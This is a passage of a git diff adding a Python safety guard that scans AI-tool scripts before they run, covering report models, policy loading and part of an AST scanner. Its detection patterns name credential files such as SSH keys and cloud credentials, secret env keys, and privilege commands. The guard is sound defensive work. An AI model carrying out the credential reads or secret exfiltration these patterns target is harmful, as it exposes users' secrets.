int]] = set() + unique: list[SafetyFinding] = [] + for finding in findings: + key = (finding.rule_id, finding.decision.value, # type: ignore[union-attr] + finding.evidence.snippet, finding.evidence.line) + if key in seen: + continue + seen.add(key) + unique.append(finding) + + def _sort_key(f: SafetyFinding) -> tuple[str, int, int, int]: + return (-f.risk_level, f.rule_id, f.evidence.line, f.evidence.column) + + return sorted(unique, key=_sort_key) + + +def _new_report_id() -> str: + return "rep-" + uuid.uuid4().hex[:16] diff --git a/tool/safety/_models.py b/tool/safety/_models.py new file mode 100644 index 00000000..fb8d30ef --- /dev/null +++ b/tool/safety/_models.py @@ -0,0 +1,300 @@ +"""Pydantic models for the safety guard. + +Invariants +---------- +* Reports never serialize ``script``, raw ``argv``, ``cwd``, or environment + values. Use :class:`Evidence` for bounded, redacted snippets. +* ``rule_ids`` are sorted and de-duplicated for stable output. +* Aggregate decision precedence: ``deny > needs_human_review > allow``. +* Aggregate risk precedence: ``critical > high > medium > low > info``. +* Policy hash is SHA-256 over canonical JSON after validation. +""" + +from __future__ import annotations + +import enum +import hashlib +from typing import Annotated, Any, Mapping + +from pydantic import BaseModel, ConfigDict, Field +from pydantic.functional_serializers import PlainSerializer + + +class ToolKind(str, enum.Enum): + """Where the scanned input originates.""" + + TOOL = "tool" + MCP = "mcp" + SKILL = "skill" + CODE_EXECUTOR = "code_executor" + UNKNOWN = "unknown" + + +class ScriptLanguage(str, enum.Enum): + """Script languages the scanner understands.""" + + PYTHON = "python" + BASH = "bash" + UNKNOWN = "unknown" + + +class SafetyDecision(str, enum.Enum): + """Three-state decision emitted by the guard.""" + + ALLOW = "allow" + NEEDS_HUMAN_REVIEW = "needs_human_review" + DENY = "deny" + + +class RiskLevel(int, enum.Enum): + """Severity ranking used for stable ordering of findings.""" + + INFO = 10 + LOW = 20 + MEDIUM = 30 + HIGH = 40 + CRITICAL = 50 + + def label(self) -> str: + return self.name.lower() + + +# Annotated alias so Pydantic v2 serializes risk levels as lowercase +# labels (``"high"``, ``"critical"``) instead of opaque integers. The +# core value remains comparable as an int for sorting / aggregation. +RiskLevelLabel = Annotated[ + RiskLevel, + PlainSerializer( + lambda v: v.label(), + return_type=str, + when_used="always", + ), +] + + +class RiskCategory(str, enum.Enum): + """Top-level risk category for grouping findings.""" + + FILE = "file" + NETWORK = "network" + PROCESS = "process" + DEPENDENCY = "dependency" + RESOURCE = "resource" + SECRET = "secret" + ANALYSIS = "analysis" + SAFE = "safe" + + +# Stable rule id emitted by allow-path reports when no finding matches. +SAFE_RULE_ID = "SAFE000" + +# Hard cap on evidence snippet length after redaction. +EVIDENCE_MAX_CHARS = 240 + + +class Evidence(BaseModel): + """Bounded, redacted proof that a rule fired. + + ``snippet`` is always redacted before being placed here. ``location`` + uses 1-based line numbers when available; ``column`` is 1-based when + known and ``0`` when not applicable. + """ + + model_config = ConfigDict(extra="forbid") + + snippet: str = Field(default="", description="Redacted source slice") + line: int = Field(default=0, ge=0) + column: int = Field(default=0, ge=0) + language: ScriptLanguage = Field(default=ScriptLanguage.UNKNOWN) + extras: Mapping[str, str] = Field(default_factory=dict) + + def model_dump_json(self, **kwargs: Any) -> str: # type: ignore[override] + kwargs.setdefault("exclude_none", True) + return super().model_dump_json(**kwargs) + + +class SafetyScanRequest(BaseModel): + """Normalized input handed to the guard. + + ``script`` and ``env`` are marked ``repr=False`` so logs never echo + raw content even if someone prints the model instance. + """ + + model_config = ConfigDict(extra="forbid") + + tool_name: str + tool_kind: ToolKind = ToolKind.UNKNOWN + language: ScriptLanguage = ScriptLanguage.UNKNOWN + script: str = Field(default="", repr=False) + argv: tuple[str, ...] = () + cwd: str | None = None + env: Mapping[str, str] = Field(default_factory=dict, repr=False) + metadata: Mapping[str, Any] = Field(default_factory=dict) + requested_timeout_seconds: float | None = None + requested_output_bytes: int | None = None + + +class SafetyFinding(BaseModel): + """A single rule match.""" + + model_config = ConfigDict(extra="forbid") + + rule_id: str + category: RiskCategory + risk_level: RiskLevelLabel + decision: SafetyDecision + evidence: Evidence + recommendation: str + + +class SafetyReport(BaseModel): + """Aggregated scan result for one request. + + Reports are immutable by design. They never carry raw scripts or env + values; downstream code can safely serialize them to JSON. + """ + + model_config = ConfigDict(extra="forbid", frozen=True) + + report_id: str + decision: SafetyDecision + risk_level: RiskLevelLabel + rule_ids: tuple[str, ...] + findings: tuple[SafetyFinding, ...] + recommendation: str + policy_hash: str + policy_version: str + script_sha256: str + scan_duration_ms: float + redacted: bool + + def model_dump_json(self, **kwargs: Any) -> str: # type: ignore[override] + kwargs.setdefault("exclude_none", True) + return super().model_dump_json(**kwargs) + + @classmethod + def combine( + cls, + reports: list[SafetyReport], + *, + report_id: str, + policy_hash: str, + policy_version: str, + scan_duration_ms: float, + ) -> SafetyReport: + """Combine multiple reports into one decision. + + Used by the CodeExecutor wrapper when several code blocks share a + single execution attempt. + """ + + findings: list[SafetyFinding] = [] + script_hashes: list[str] = [] + any_redacted = False + for report in reports: + findings.extend(report.findings) + script_hashes.append(report.script_sha256) + any_redacted = any_redacted or report.redacted + decision = _aggregate_decision(findings) + risk_level = _aggregate_risk(findings) + rule_ids = _stable_rule_ids(findings) + recommendation = _aggregate_recommendation(findings, decision) + if not findings: + return cls( + report_id=report_id, + decision=SafetyDecision.ALLOW, + risk_level=RiskLevel.INFO, + rule_ids=(SAFE_RULE_ID,), + findings=(), + recommendation="No safety rules matched.", + policy_hash=policy_hash, + policy_version=policy_version, + script_sha256=hashlib.sha256( + "\n".join(script_hashes).encode("utf-8", errors="ignore") + ).hexdigest(), + scan_duration_ms=scan_duration_ms, + redacted=False, + ) + return cls( + report_id=report_id, + decision=decision, + risk_level=risk_level, + rule_ids=rule_ids, + findings=tuple(findings), + recommendation=recommendation, + policy_hash=policy_hash, + policy_version=policy_version, + script_sha256=hashlib.sha256( + "\n".join(script_hashes).encode("utf-8", errors="ignore") + ).hexdigest(), + scan_duration_ms=scan_duration_ms, + redacted=any_redacted, + ) + + +class SafetyAuditEvent(BaseModel): + """One line in an audit log per scan attempt. + + Audit events deliberately exclude raw scripts, arguments, environment + values, cwd, and unredacted evidence. They carry enough information to + answer "who, what, when, why, blocked?" and nothing more. + """ + + model_config = ConfigDict(extra="forbid") + + event_id: str + timestamp: str + report_id: str + tool_name: str + tool_kind: ToolKind + decision: SafetyDecision + risk_level: RiskLevelLabel + rule_ids: tuple[str, ...] + duration_ms: float + redacted: bool + execution_blocked: bool + policy_hash: str + policy_version: str + script_sha256: str + scanner_version: str = "1.0.0" + invocation_id: str | None = None + + +# --------------------------------------------------------------------------- # +# Aggregation helpers +# --------------------------------------------------------------------------- # + +_DECISION_RANK: dict[SafetyDecision, int] = { + SafetyDecision.ALLOW: 0, + SafetyDecision.NEEDS_HUMAN_REVIEW: 1, + SafetyDecision.DENY: 2, +} + + +def _aggregate_decision(findings: list[SafetyFinding]) -> SafetyDecision: + if not findings: + return SafetyDecision.ALLOW + worst = max(findings, key=lambda f: _DECISION_RANK[f.decision]) + return worst.decision + + +def _aggregate_risk(findings: list[SafetyFinding]) -> RiskLevel: + if not findings: + return RiskLevel.INFO + return max(f.risk_level for f in findings) + + +def _stable_rule_ids(findings: list[SafetyFinding]) -> tuple[str, ...]: + return tuple(sorted({f.rule_id for f in findings})) + + +def _aggregate_recommendation( + findings: list[SafetyFinding], decision: SafetyDecision +) -> str: + if not findings: + return "No safety rules matched." + if decision == SafetyDecision.DENY: + return "Block execution and request a human-approved path." + if decision == SafetyDecision.NEEDS_HUMAN_REVIEW: + return "Pause for human review before executing." + return "Proceed with sandbox and runtime limits." diff --git a/tool/safety/_policy.py b/tool/safety/_policy.py new file mode 100644 index 00000000..e44d9c87 --- /dev/null +++ b/tool/safety/_policy.py @@ -0,0 +1,426 @@ +"""Policy loading, validation, normalization, and hashing. + +The policy is the single source of truth for allow/deny lists, limits, and +per-tool field mappings. Changing YAML is supposed to change behavior +without touching code, so: + +* Unknown keys, invalid enum values, or negative limits fail at load time. +* Normalization produces a canonical form used for both matching and the + policy hash. +* The hash is SHA-256 over canonical JSON so identical configs produce + identical hashes regardless of YAML formatting. +""" + +from __future__ import annotations + +import hashlib +import json +import os +import re +from pathlib import PurePosixPath +from typing import Any, Iterable + +import yaml +from pydantic import BaseModel, ConfigDict, Field, field_validator, model_validator + +from tool.safety._exceptions import SafetyPolicyError +from tool.safety._models import ScriptLanguage, ToolKind + +POLICY_VERSION = "1" + + +class NetworkPolicy(BaseModel): + """Allowed domains and IP handling. + + Domains are normalized lowercase. ``"*."`` prefix matches exactly one + subdomain level (``*.example.com`` matches ``api.example.com`` but not + ``example.com`` or ``a.b.example.com``). + """ + + model_config = ConfigDict(extra="forbid") + + allow_domains: tuple[str, ...] = () + deny_ip_literals: bool = True + + @field_validator("allow_domains", mode="before") + @classmethod + def _normalize_domains(cls, value: Any) -> Any: + if value is None: + return () + if isinstance(value, str): + raise SafetyPolicyError("allow_domains must be a list") + normalized: list[str] = [] + for domain in value: + if not isinstance(domain, str) or not domain.strip(): + raise SafetyPolicyError(f"invalid domain entry: {domain!r}") + d = domain.strip().lower().rstrip(".") + if not d: + raise SafetyPolicyError(f"invalid domain entry: {domain!r}") + if "*" in d and not d.startswith("*."): + raise SafetyPolicyError( + f"wildcard domain must start with '*.': {domain!r}" + ) + normalized.append(d) + return tuple(normalized) + + +class CommandsPolicy(BaseModel): + """Executable allow/deny lists (compared by basename).""" + + model_config = ConfigDict(extra="forbid") + + allow: tuple[str, ...] = () + deny: tuple[str, ...] = () + + @field_validator("allow", "deny", mode="before") + @classmethod + def _normalize_commands(cls, value: Any) -> Any: + if value is None: + return () + if isinstance(value, str): + raise SafetyPolicyError("command list must be a list") + normalized: list[str] = [] + for command in value: + if not isinstance(command, str) or not command.strip(): + raise SafetyPolicyError(f"invalid command entry: {command!r}") + normalized.append(command.strip().lower()) + return tuple(normalized) + + +class PathsPolicy(BaseModel): + """Denied path globs (matched lexically, no filesystem access).""" + + model_config = ConfigDict(extra="forbid") + + deny: tuple[str, ...] = () + + @field_validator("deny", mode="before") + @classmethod + def _normalize_paths(cls, value: Any) -> Any: + if value is None: + return () + if isinstance(value, str): + raise SafetyPolicyError("paths.deny must be a list") + normalized: list[str] = [] + for path in value: + if not isinstance(path, str) or not path.strip(): + raise SafetyPolicyError(f"invalid path entry: {path!r}") + normalized.append(_normalize_path_glob(path.strip())) + return tuple(normalized) + + +class LimitsPolicy(BaseModel): + """Numeric limits enforced by the guard and downstream wrapper.""" + + model_config = ConfigDict(extra="forbid") + + max_timeout_seconds: float = 60.0 + max_output_bytes: int = 1_048_576 + max_script_bytes: int = 262_144 + max_sleep_seconds: float = 30.0 + max_parallel_tasks: int = 16 + max_processes: int = 8 + max_file_write_bytes: int = 10_485_760 + + @model_validator(mode="after") + def _check_non_negative(self) -> "LimitsPolicy": + for field_name in ("max_timeout_seconds", "max_output_bytes", + "max_script_bytes", "max_sleep_seconds", + "max_parallel_tasks", "max_processes", + "max_file_write_bytes"): + value = getattr(self, field_name) + if value < 0: + raise SafetyPolicyError(f"{field_name} must be non-negative") + return self + + +class DefaultsPolicy(BaseModel): + """Knobs that change how ambiguity is treated.""" + + model_config = ConfigDict(extra="forbid") + + unknown_construct: str = "needs_human_review" + guard_error: str = "deny" + human_review_blocks_execution: bool = True + + @field_validator("unknown_construct", "guard_error") + @classmethod + def _validate_decision(cls, value: str) -> str: + allowed = {"allow", "needs_human_review", "deny"} + if value not in allowed: + raise SafetyPolicyError( + f"decision must be one of {sorted(allowed)}; got {value!r}" + ) + return value + + +class DependenciesPolicy(BaseModel): + """Decision applied when dependency install commands appear.""" + + model_config = ConfigDict(extra="forbid") + + decision: str = "deny" + + +class ToolFieldMapping(BaseModel): + """Declarative mapping from tool args to scan fields.""" + + model_config = ConfigDict(extra="forbid") + + execution_capable: bool = False + language: ScriptLanguage = ScriptLanguage.UNKNOWN + script: str | None = None + cwd: str | None = None + env: str | None = None + timeout: str | None = None + argv: str | None = None + + +class ToolSafetyPolicy(BaseModel): + """Top-level policy document.""" + + model_config = ConfigDict(extra="forbid") + + version: str = POLICY_VERSION + defaults: DefaultsPolicy = Field(default_factory=DefaultsPolicy) + limits: LimitsPolicy = Field(default_factory=LimitsPolicy) + network: NetworkPolicy = Field(default_factory=NetworkPolicy) + commands: CommandsPolicy = Field(default_factory=CommandsPolicy) + paths: PathsPolicy = Field(default_factory=PathsPolicy) + dependencies: DependenciesPolicy = Field(default_factory=DependenciesPolicy) + tools: dict[str, ToolFieldMapping] = Field(default_factory=dict) + rule_overrides: dict[str, str] = Field(default_factory=dict) + audit: "AuditPolicy" = Field(default_factory=lambda: AuditPolicy()) + sensitive_env_key_patterns: tuple[str, ...] = ( + "*KEY*", + "*TOKEN*", + "*PASSWORD*", + "*SECRET*", + "*CREDENTIAL*", + ) + + @field_validator("version") + @classmethod + def _check_version(cls, value: str) -> str: + if value != POLICY_VERSION: + raise SafetyPolicyError( + f"unsupported policy version {value!r}; expected {POLICY_VERSION!r}" + ) + return value + + @model_validator(mode="after") + def _check_rule_overrides(self) -> "ToolSafetyPolicy": + allowed = {"allow", "needs_human_review", "deny"} + for rule_id, action in self.rule_overrides.items(): + if action not in allowed: + raise SafetyPolicyError( + f"rule_overrides[{rule_id!r}] must be one of " + f"{sorted(allowed)}; got {action!r}" + ) + return self + + @property + def hash(self) -> str: + """SHA-256 over canonical JSON form.""" + + return _compute_policy_hash(self) + + +class AuditPolicy(BaseModel): + """Audit sink behavior.""" + + model_config = ConfigDict(extra="forbid") + + enabled: bool = True + required: bool = True + path: str = "tool_safety_audit.jsonl" + + +# --------------------------------------------------------------------------- # +# Loading +# --------------------------------------------------------------------------- # + +def load_safety_policy(path: str | os.PathLike[str]) -> ToolSafetyPolicy: + """Load and validate a YAML policy file. + + Raises :class:`SafetyPolicyError` on any malformed input. Never returns + a partial or permissive policy. + """ + + path = os.fspath(path) + try: + with open(path, "r", encoding="utf-8") as handle: + raw = yaml.safe_load(handle) + except FileNotFoundError as exc: + raise SafetyPolicyError(f"policy file not found: {path}") from exc + except yaml.YAMLError as exc: + raise SafetyPolicyError(f"invalid YAML in {path}: {exc}") from exc + if raw is None: + raise SafetyPolicyError(f"policy file is empty: {path}") + if not isinstance(raw, dict): + raise SafetyPolicyError(f"policy root must be a mapping: {path}") + raw.setdefault("version", POLICY_VERSION) + try: + policy = ToolSafetyPolicy.model_validate(raw) + except Exception as exc: # pydantic ValidationError + raise SafetyPolicyError(f"policy validation failed: {exc}") from exc + return policy + + +def load_safety_policy_dict(data: dict[str, Any]) -> ToolSafetyPolicy: + """Load a policy from an in-memory mapping. Used by tests.""" + + data = dict(data) + data.setdefault("version", POLICY_VERSION) + try: + return ToolSafetyPolicy.model_validate(data) + except Exception as exc: + raise SafetyPolicyError(f"policy validation failed: {exc}") from exc + + +# --------------------------------------------------------------------------- # +# Normalization helpers +# --------------------------------------------------------------------------- # + +_TRAILING_SLASH = re.compile(r"/+$") + + +def _normalize_path_glob(pattern: str) -> str: + """Lexically normalize a path glob. + + * Expands ``~`` to the literal string ``~`` (no filesystem access). + * Collapses repeated separators. + * Strips trailing slashes except for the root ``/``. + """ + + if not pattern: + return pattern + if pattern.startswith("~"): + head = "~" + rest = pattern[1:] + else: + head = "" + rest = pattern + rest = rest.replace("\\", "/") + parts: list[str] = [] + for part in rest.split("/"): + if part in ("", "."): + continue + if part == "..": + continue + parts.append(part) + normalized = "/".join(parts) + if not normalized: + return head or "." + if head: + return f"{head}/{normalized}" + if pattern.startswith("/"): + return f"/{normalized}" + return normalized + + +def normalize_relpath(path: str) -> str: + """Best-effort lexical normalization for matching purposes.""" + + return _normalize_path_glob(path) + + +def match_path_glob(path: str, pattern: str) -> bool: + """Match a path against a glob, lexically. + + ``**`` matches any number of path segments. ``*`` matches within a + single segment. The pattern also matches when the path lives inside + a pattern directory (``/etc`` matches ``/etc/passwd``). + """ + + import fnmatch + + if not path or not pattern: + return False + norm_path = _normalize_path_glob(path) + norm_pattern = _normalize_path_glob(pattern) + if fnmatch.fnmatch(norm_path, norm_pattern): + return True + # Also accept ``pattern/**`` style matches: /etc matches /etc/passwd. + if norm_pattern and not norm_pattern.endswith("**"): + prefix = norm_pattern.rstrip("/") + if prefix and (norm_path == prefix + or norm_path.startswith(prefix + "/") + or norm_path.startswith(prefix + "\\") + or (prefix.startswith("~") and + norm_path.startswith(prefix + "/"))): + return True + # Try with explicit /** suffix. + if fnmatch.fnmatch(norm_path, f"{norm_pattern}/**"): + return True + # Also try matching with leading wildcard for relative paths + if not norm_path.startswith("/") and not norm_path.startswith("~"): + for prefix in ("/", "~/"): + if fnmatch.fnmatch(f"{prefix}{norm_path}", f"{prefix}{norm_pattern}"): + return True + if fnmatch.fnmatch(f"{prefix}{norm_path}", f"{prefix}{norm_pattern}/**"): + return True + return False + + +def match_domain(host: str, allowed: Iterable[str]) -> bool: + """Match a host against the allow list. + + ``*.example.com`` matches exactly ``api.example.com`` (one segment), + not ``example.com`` and not ``a.b.example.com``. + """ + + if not host: + return False + h = host.lower().rstrip(".") + for entry in allowed: + e = entry.lower().rstrip(".") + if e == h: + return True + if e.startswith("*."): + suffix = e[2:] + if "." in h: + _, _, host_suffix = h.partition(".") + if host_suffix == suffix: + return True + return False + + +def is_sensitive_env_key(key: str, patterns: Iterable[str]) -> bool: + """Match an env key against sensitive-name patterns. + + Patterns use shell-style ``*`` wildcards (case-insensitive). + """ + + if not key: + return False + for pattern in patterns: + if _shell_match(key.lower(), pattern.lower()): + return True + return False + + +def _shell_match(value: str, pattern: str) -> bool: + import fnmatch + + return fnmatch.fnmatchcase(value, pattern) + + +def _compute_policy_hash(policy: ToolSafetyPolicy) -> str: + canonical = policy.model_dump(mode="json", exclude_none=True) + serialized = json.dumps(canonical, sort_keys=True, + separators=(",", ":"), ensure_ascii=False) + return hashlib.sha256(serialized.encode("utf-8")).hexdigest() + + +# Resolve forward reference for AuditPolicy +ToolSafetyPolicy.model_rebuild() + + +def normalize_script_path_for_match(path_value: str) -> str: + """Normalize a script-referenced path for deny-list matching.""" + + if not path_value: + return path_value + expanded = os.path.expanduser(path_value) + return str(PurePosixPath(expanded.replace("\\", "/"))) diff --git a/tool/safety/_python_scanner.py b/tool/safety/_python_scanner.py new file mode 100644 index 00000000..7690c475 --- /dev/null +++ b/tool/safety/_python_scanner.py @@ -0,0 +1,1050 @@ +"""Python AST scanner that extracts ScriptFacts. + +The scanner walks the parsed AST once, resolving import aliases so +``import requests as r; r.get(...)`` is recognized as a requests call. +Taint propagation is deliberately shallow: literals, names, direct +assignments, f-strings, concatenation, and shallow container +construction. Deeper flows surface as ``OBF001_DYNAMIC_EXEC`` instead +of a false claim of safety. +""" + +from __future__ import annotations + +import ast +import os +from typing import Any, Iterator + +from tool.safety._exceptions import SafetyScannerError +from tool.safety._facts import ( + ConcurrencyFact, + DependencyInstallFact, + DynamicExecFact, + FileDeleteFact, + FileReadFact, + FileWriteFact, + ForkBombFact, + LargeWriteFact, + Loc, + LongSleepFact, + NetworkFact, + ParseErrorFact, + PrivilegeFact, + ProcessFact, + ScriptFacts, + SecretFlowFact, + ShellOperatorFact, + UnboundedLoopFact, +) +from tool.safety._models import ScriptLanguage +from tool.safety._rules import _LanguageScannerRule, SafetyRule +from tool.safety._policy import is_sensitive_env_key + + +# Networks libs and the attribute used to extract a host arg. +_NETWORK_LIBS: dict[str, tuple[str, ...]] = { + "requests": ("get", "post", "put", "delete", "patch", "head", + "options", "request"), + "aiohttp": ("get", "post", "put", "delete", "patch", "head", + "options", "request", "ClientSession"), + "httpx": ("get", "post", "put", "delete", "patch", "head", + "options", "request", "Client"), + "urllib.request": ("urlopen", "urlretrieve", "Request"), + "urllib": ("urlopen",), + "http.client": ("HTTPConnection", "HTTPSConnection"), + "websocket": ("create_connection",), + "socket": ("socket", "connect", "create_connection"), +} + +_PRIVILEGE_COMMANDS = {"sudo", "su", "doas", "pkexec"} + +_PACKAGE_MANAGERS = { + "pip": ("install",), + "pip3": ("install",), + "python": (), # special-cased with -m pip + "npm": ("install", "i", "add"), + "yarn": ("add", "install"), + "pnpm": ("add", "install"), + "apt": ("install",), + "apt-get": ("install",), + "apk": ("add",), + "yum": ("install",), + "dnf": ("install",), + "brew": ("install",), + "conda": ("install", "create"), +} + +# Names whose presence on the right-hand side of an assignment marks the +# left-hand name as carrying a secret. +_SECRET_SOURCE_NAMES = { + "os.environ", + "os.environ.get", + "os.getenv", + "environ", + "environ.get", + "getenv", +} + + +# --------------------------------------------------------------------------- # +# Source helpers +# --------------------------------------------------------------------------- # + +def _src_segment(source: str, node: ast.AST) -> str: + """Best-effort source segment for a node.""" + + if not hasattr(node, "lineno") or node.lineno <= 0: + return "" + try: + segment = ast.get_source_segment(source, node) + except Exception: # pragma: no cover - defensive + segment = None + if segment is None: + return "" + return segment.strip() + + +def _loc(node: ast.AST) -> Loc: + line = getattr(node, "lineno", 0) or 0 + col = getattr(node, "col_offset", 0) or 0 + return Loc(line=line, column=col + 1) + + +def _const_str(node: ast.AST) -> str | None: + """Return the string literal value if node is a constant string.""" + + if isinstance(node, ast.Constant) and isinstance(node.value, str): + return node.value + return None + + +def _const_int(node: ast.AST) -> int | None: + if isinstance(node, ast.Constant) and isinstance(node.value, int): + return node.value + return None + + +def _format_string(node: ast.AST) -> str | None: + """Return the static prefix of an f-string or concatenated string.""" + + if isinstance(node, ast.Constant) and isinstance(node.value, str): + return node.value + if isinstance(node, ast.JoinedStr): + out = [] + for value in node.values: + text = _format_string(value) + if text is None: + out.append("{dynamic}") + else: + out.append(text) + return "".join(out) + if isinstance(node, ast.FormattedValue): + return "{dynamic}" + return None + + +# --------------------------------------------------------------------------- # +# Scanner +# --------------------------------------------------------------------------- # + +class _PythonScanner: + """Walks the AST once and collects facts.""" + + def __init__(self, source: str) -> None: + self.source = source + self.tree: ast.AST | None = None + self.parse_errors: list[ParseErrorFact] = [] + self._alias_to_canonical: dict[str, str] = {} + self._tainted: dict[str, str] = {} # name -> source label + self._path_aliases: dict[str, ast.AST] = {} + self._loops_stack: list[ast.AST] = [] + + # Accumulators + self.file_deletes: list[FileDeleteFact] = [] + self.file_writes: list[FileWriteFact] = [] + self.file_reads: list[FileReadFact] = [] + self.network_calls: list[NetworkFact] = [] + self.process_calls: list[ProcessFact] = [] + self.shell_operators: list[ShellOperatorFact] = [] + self.privilege_commands: list[PrivilegeFact] = [] + self.dependency_installs: list[DependencyInstallFact] = [] + self.unbounded_loops: list[UnboundedLoopFact] = [] + self.fork_bombs: list[ForkBombFact] = [] + self.long_sleeps: list[LongSleepFact] = [] + self.concurrency: list[ConcurrencyFact] = [] + self.large_writes: list[LargeWriteFact] = [] + self.secret_flows: list[SecretFlowFact] = [] + self.dynamic_execs: list[DynamicExecFact] = [] + + def parse(self) -> None: + try: + self.tree = ast.parse(self.source) + except SyntaxError as exc: + self.parse_errors.append(ParseErrorFact( + snippet="", + loc=Loc(line=exc.lineno or 0, column=exc.offset or 0), + message=f"SyntaxError: {exc.msg}", + )) + + def scan(self) -> ScriptFacts: + if self.tree is None: + return ScriptFacts( + language=ScriptLanguage.PYTHON, + parse_errors=tuple(self.parse_errors), + ) + for node in ast.walk(self.tree): + if isinstance(node, ast.Import): + for alias in node.names: + canon = alias.name + local = alias.asname or alias.name.split(".")[0] + self._alias_to_canonical[local] = canon + elif isinstance(node, ast.ImportFrom): + module = node.module or "" + for alias in node.names: + local = alias.asname or alias.name + canon = f"{module}.{alias.name}" if module else alias.name + self._alias_to_canonical[local] = canon + self._collect_path_aliases() + for node in ast.walk(self.tree): + self._visit_any(node) + return self._facts() + + def _collect_path_aliases(self) -> None: + """Build name -> AST map for ``x = Path(...) / "literal"`` chains.""" + + if self.tree is None: + return + for node in ast.walk(self.tree): + if not isinstance(node, ast.Assign): + continue + for target in node.targets: + if not isinstance(target, ast.Name): + continue + if self._is_path_construction(node.value): + self._path_aliases[target.id] = node.value + + def _is_path_construction(self, node: ast.AST) -> bool: + if isinstance(node, ast.Call): + canonical = self._canonical_name(node.func) + return canonical in {"pathlib.Path", "Path", "PosixPath", + "pathlib.PurePath", "pathlib.PurePosixPath"} + if isinstance(node, ast.BinOp) and isinstance(node.op, ast.Div): + return True + return False + + # ----- generic dispatch ----- # + + def _visit_any(self, node: ast.AST) -> None: + if isinstance(node, ast.Call): + self._visit_call(node) + elif isinstance(node, ast.Assign): + self._visit_assign(node) + elif isinstance(node, (ast.While, ast.For)): + self._visit_loop(node) + elif isinstance(node, ast.Subscript): + self._visit_subscript(node) + + # ----- assignments / taint ----- # + + def _visit_assign(self, node: ast.Assign) -> None: + source_label = self._secret_source_label(node.value) + if source_label is None: + return + for target in node.targets: + name = self._name_of(target) + if name: + self._tainted[name] = source_label + + def _visit_subscript(self, node: ast.AST) -> None: + # os.environ["KEY"] reading -- mark nothing yet; taint flows from + # later assignments handled above. + pass + + def _secret_source_label(self, node: ast.AST) -> str | None: + if isinstance(node, ast.Call): + canonical = self._canonical_name(node.func) + if canonical in _SECRET_SOURCE_NAMES: + arg = node.args[0] if node.args else None + key = _const_str(arg) or "" + return f"env:{key}" + # open(..., "r") on credential path + if canonical in ("open", "io.open", "pathlib.Path.open", + "codecs.open"): + kind = self._credential_kind_for_open(node) + if kind: + return f"file:{kind}" + if isinstance(node, ast.Subscript): + canonical = self._canonical_name(node.value) + if canonical in ("os.environ", "environ"): + key = _const_str(node.slice) or "" + return f"env:{key}" + return None + + def _credential_kind_for_open(self, call: ast.Call) -> str | None: + if not call.args: + return None + target = _const_str(call.args[0]) + if not target: + return None + lowered = target.lower() + if ".ssh" in lowered or "id_rsa" in lowered or "id_ecdsa" in lowered \ + or "id_ed25519" in lowered: + return "credential" + if "credentials" in lowered or ".netrc" in lowered \ + or "kubeconfig" in lowered or ".aws/credentials" in lowered: + return "credential" + if lowered.endswith(".pem") or lowered.endswith(".key") \ + or lowered.endswith(".p12") or lowered.endswith(".pfx"): + return "credential" + return None + + # ----- calls ----- # + + def _visit_call(self, node: ast.Call) -> None: + canonical = self._canonical_name(node.func) + if not canonical: + return + # 1) File operations + if canonical in {"os.remove", "os.unlink"}: + self.file_deletes.append(self._file_delete(node, recursive=False)) + return + if canonical in {"os.rmdir", "pathlib.Path.rmdir", + "pathlib.Path.unlink"}: + self.file_deletes.append(self._file_delete(node, recursive=False)) + return + if canonical == "shutil.rmtree": + self.file_deletes.append(self._file_delete(node, recursive=True)) + return + if canonical in {"pathlib.Path.write_text", + "pathlib.Path.write_bytes"}: + self.file_writes.append(self._pathlib_write(node, canonical)) + return + if canonical in {"pathlib.Path.read_text", + "pathlib.Path.read_bytes", + "pathlib.Path.read"}: + self._handle_pathlib_read(node) + return + # Fallback for ``path.read_text()`` where ``path`` is a local alias + # assigned from a ``Path(...)`` construction. + if isinstance(node.func, ast.Attribute) \ + and node.func.attr in {"read_text", "read_bytes", "read"} \ + and isinstance(node.func.value, ast.Name) \ + and node.func.value.id in self._path_aliases: + self._handle_pathlib_read(node) + return + if canonical in {"open", "io.open", "codecs.open", + "pathlib.Path.open"}: + self._handle_open(node) + return + + # 2) Network calls + if self._handle_network_call(node, canonical): + return + + # 3) Subprocess / shell + if self._handle_process_call(node, canonical): + return + + # 4) Dynamic exec + if canonical in {"eval", "exec", "compile"}: + self.dynamic_execs.append(DynamicExecFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + kind=canonical.split(".")[-1], + )) + return + if canonical in {"importlib.import_module", + "importlib.__import__", "__import__"}: + self.dynamic_execs.append(DynamicExecFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + kind="dynamic_import", + )) + return + if canonical == "getattr": + # getattr(os, "system") -- only flag when the attribute name + # is a string literal pointing at a dangerous primitive. + if len(node.args) >= 2: + attr = _const_str(node.args[1]) + if attr in {"system", "popen", "exec", "eval", "fork"}: + self.dynamic_execs.append(DynamicExecFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + kind=f"getattr:{attr}", + )) + return + + # 5) Sleep + if canonical in {"time.sleep", "asyncio.sleep", "sleep"}: + self._handle_sleep(node) + return + + # 6) Concurrency primitives + if self._handle_concurrency_call(node, canonical): + return + + # 7) Output sinks (secret flow detection) + self._handle_sink_call(node, canonical) + + # ----- file delete / write ----- # + + def _file_delete(self, node: ast.Call, *, recursive: bool) -> FileDeleteFact: + target = "" + explicit = True + if node.args: + target = _const_str(node.args[0]) or "" + if not target: + explicit = False + target = self._name_of(node.args[0]) or "" + return FileDeleteFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + target=target, + recursive=recursive, + explicit=explicit, + ) + + def _pathlib_write(self, node: ast.Call, canonical: str) -> FileWriteFact: + target = "" + explicit = True + # For pathlib.Path.write_text, the receiver is the path. + if isinstance(node.func, ast.Attribute) \ + and isinstance(node.func.value, ast.Call): + target = _const_str(_first_arg(node.func.value)) or "" + size = None + if node.args: + data_arg = node.args[0] if node.args else None + size = self._static_size(data_arg) + if not target: + explicit = False + target = "" + return FileWriteFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + target=target, + mode="w", + explicit=explicit, + ) + + def _handle_open(self, node: ast.Call) -> None: + target = "" + explicit = True + if node.args: + target = _const_str(node.args[0]) or "" + if not target: + explicit = False + target = "" + mode = "r" + for arg in node.args[1:]: + if isinstance(arg, ast.Constant) and isinstance(arg.value, str): + mode = arg.value + break + if any(ch in mode for ch in ("w", "a", "x", "+")): + self.file_writes.append(FileWriteFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + target=target, + mode=mode, + explicit=explicit, + )) + else: + kind = self._credential_kind_for_str(target) or "regular" + if target.lower().endswith(".env") or ".env" in target.lower(): + kind = "dotenv" + self.file_reads.append(FileReadFact( + snippet=_src_segment(self.source, node), 